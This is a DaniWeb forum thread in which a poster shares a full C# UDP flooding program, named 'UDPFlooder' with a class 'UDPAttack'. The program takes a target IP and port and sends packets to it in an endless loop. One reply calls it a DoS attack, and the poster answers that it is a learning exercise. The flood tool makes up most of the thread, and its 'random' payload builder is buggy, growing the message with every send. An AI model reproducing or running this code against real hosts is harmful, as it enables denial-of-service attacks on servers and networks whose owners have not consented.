Because UDP is unreliable protocol i want someone to try my code.
For someone who have server, run my code and send packets to your server and then monitor to your server bandwidth usage

Sender packet size is near to (Server)Receiver packet size ???

Soz for my english.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace UDPFlooder
{
    class Program
    {
        static UDPAttack _UA = new UDPAttack();
        static void Main(string[] args)
        {
            try
            {
                // Initial variables
                _UA.Initial();
                // Connect
                _UA.SConnect();
                // Send Packets
                _UA.SendPackets();
            }
            catch (Exception)
            {
                Console.WriteLine("An exception from main, socket now will close.");
                _UA.SClose();
            }
        }
    }

    class UDPAttack
    {

        // Variables we will use
        Socket _Socket;
        StringBuilder _SB;
        string IP;
        string Port;
        string TDelay;
        string SSize;

        public UDPAttack() 
        {
            // Initial
            _Socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            _SB = new StringBuilder();
        }

        // Initial variables
        public void Initial()
        {
            Console.WriteLine("Initial Variables");
            Console.WriteLine("----------------------------");
            Console.Write("IP Address: ");
            IP = Console.ReadLine();
            Console.Write("Port: ");
            Port = Console.ReadLine();
            Console.Write("String size: ");
            SSize = Console.ReadLine();
            Console.Write("Thread Delay: ");
            TDelay = Console.ReadLine();
            Console.WriteLine("");
        }

        // Connect to target
        public void SConnect()
        {
            try
            { 
                _Socket.Connect(IPAddress.Parse(IP), Convert.ToInt32(Port));
                Console.WriteLine("Connecting...\t\t\t(OK)");
            }

            catch (Exception)
            { Console.WriteLine("Connection has failed!"); }
        }

        // Create Random Message
        private string RandomString(int Size)
        {
            for (int i = 0; i < Size; i++)
            { _SB.Append(i.ToString()); }

            return _SB.ToString();
        }

        // Send Packet
        public void SendPackets()
        {
            try
            {
                Console.WriteLine("Sending in progress...\t\t(IN PROGRESS)");
                while (true)
                {
                    _Socket.Send(Encoding.ASCII.GetBytes(RandomString(Convert.ToInt32(SSize))));
                    Thread.Sleep(Convert.ToInt32(TDelay));
                }
            }
            catch(Exception)
            { Console.WriteLine("Failed sent packet"); }

        }

        // Close socket
        public void SClose()
        { _Socket.Close(); }

    }
}

Recommended Answers

All 2 Replies

This looks like a DOS attack. Why would someone volunteer their (presumably paid for) server for this?

Its just a simple UDP spammer, i dont call it ddoser, in this period im working-learning with sockets
my only point at this moment is to learn network bounds

how much packets i can send without get interupt(from server protections)
how much percent from packets i sent received from servers

So i looking for someone with server to try send packet to his server and then watch network usage on his client and his server, if client is near to server it means "good" but if i send 10mbp/s and server usage is 2 mbp/s it means 8mbps are losted in transfering

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.